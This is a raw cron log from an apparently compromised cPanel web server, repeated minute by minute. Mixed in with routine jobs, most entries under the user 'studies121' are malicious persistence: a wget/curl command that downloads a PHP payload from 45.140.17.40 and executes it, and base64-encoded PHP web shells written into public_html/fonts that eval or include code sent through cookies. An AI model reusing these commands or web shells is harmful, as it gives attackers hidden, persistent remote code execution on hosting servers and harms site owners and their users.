Sep 10 21:54:01 ip-184-168-122-23 CROND[15715]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:55:01 ip-184-168-122-23 CROND[15814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:55:01 ip-184-168-122-23 CROND[15816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:55:01 ip-184-168-122-23 CROND[15817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:55:01 ip-184-168-122-23 CROND[15819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:55:01 ip-184-168-122-23 CROND[15821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:55:01 ip-184-168-122-23 CROND[15818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:56:01 ip-184-168-122-23 CROND[15914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:56:01 ip-184-168-122-23 CROND[15915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:56:01 ip-184-168-122-23 CROND[15918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:56:01 ip-184-168-122-23 CROND[15917]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:56:01 ip-184-168-122-23 CROND[15919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:57:01 ip-184-168-122-23 CROND[16007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:57:01 ip-184-168-122-23 CROND[16009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:57:01 ip-184-168-122-23 CROND[16013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:57:01 ip-184-168-122-23 CROND[16012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:58:01 ip-184-168-122-23 CROND[16187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:58:01 ip-184-168-122-23 CROND[16188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:58:01 ip-184-168-122-23 CROND[16189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:58:01 ip-184-168-122-23 CROND[16193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:58:01 ip-184-168-122-23 CROND[16192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:59:01 ip-184-168-122-23 CROND[16279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:59:01 ip-184-168-122-23 CROND[16280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:59:01 ip-184-168-122-23 CROND[16282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:59:01 ip-184-168-122-23 CROND[16284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:00:01 ip-184-168-122-23 CROND[16380]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:00:01 ip-184-168-122-23 CROND[16383]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 22:00:01 ip-184-168-122-23 CROND[16385]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:00:01 ip-184-168-122-23 CROND[16387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:00:01 ip-184-168-122-23 CROND[16389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:00:01 ip-184-168-122-23 CROND[16390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:00:01 ip-184-168-122-23 CROND[16388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:00:01 ip-184-168-122-23 CROND[16391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:00:01 ip-184-168-122-23 CROND[16392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:01:01 ip-184-168-122-23 CROND[16502]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16502]: starting 0anacron
Sep 10 22:01:01 ip-184-168-122-23 CROND[16505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:01:02 ip-184-168-122-23 CROND[16514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:01:02 ip-184-168-122-23 CROND[16517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:01:02 ip-184-168-122-23 CROND[16515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:01:02 ip-184-168-122-23 CROND[16516]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 22:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16513]: finished 0anacron
Sep 10 22:02:01 ip-184-168-122-23 CROND[16607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:02:01 ip-184-168-122-23 CROND[16609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:02:01 ip-184-168-122-23 CROND[16612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:02:01 ip-184-168-122-23 CROND[16611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:02:01 ip-184-168-122-23 CROND[16610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:03:01 ip-184-168-122-23 CROND[16703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:03:01 ip-184-168-122-23 CROND[16704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:03:01 ip-184-168-122-23 CROND[16705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:03:01 ip-184-168-122-23 CROND[16707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:04:01 ip-184-168-122-23 CROND[16888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:04:01 ip-184-168-122-23 CROND[16890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:04:01 ip-184-168-122-23 CROND[16891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:04:01 ip-184-168-122-23 CROND[16893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:04:01 ip-184-168-122-23 CROND[16892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:05:01 ip-184-168-122-23 CROND[16987]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 22:05:01 ip-184-168-122-23 CROND[16989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:05:01 ip-184-168-122-23 CROND[16990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:05:01 ip-184-168-122-23 CROND[16991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:05:01 ip-184-168-122-23 CROND[16992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:05:01 ip-184-168-122-23 CROND[16994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:05:01 ip-184-168-122-23 CROND[16993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:06:01 ip-184-168-122-23 CROND[17094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:06:01 ip-184-168-122-23 CROND[17096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:06:01 ip-184-168-122-23 CROND[17098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
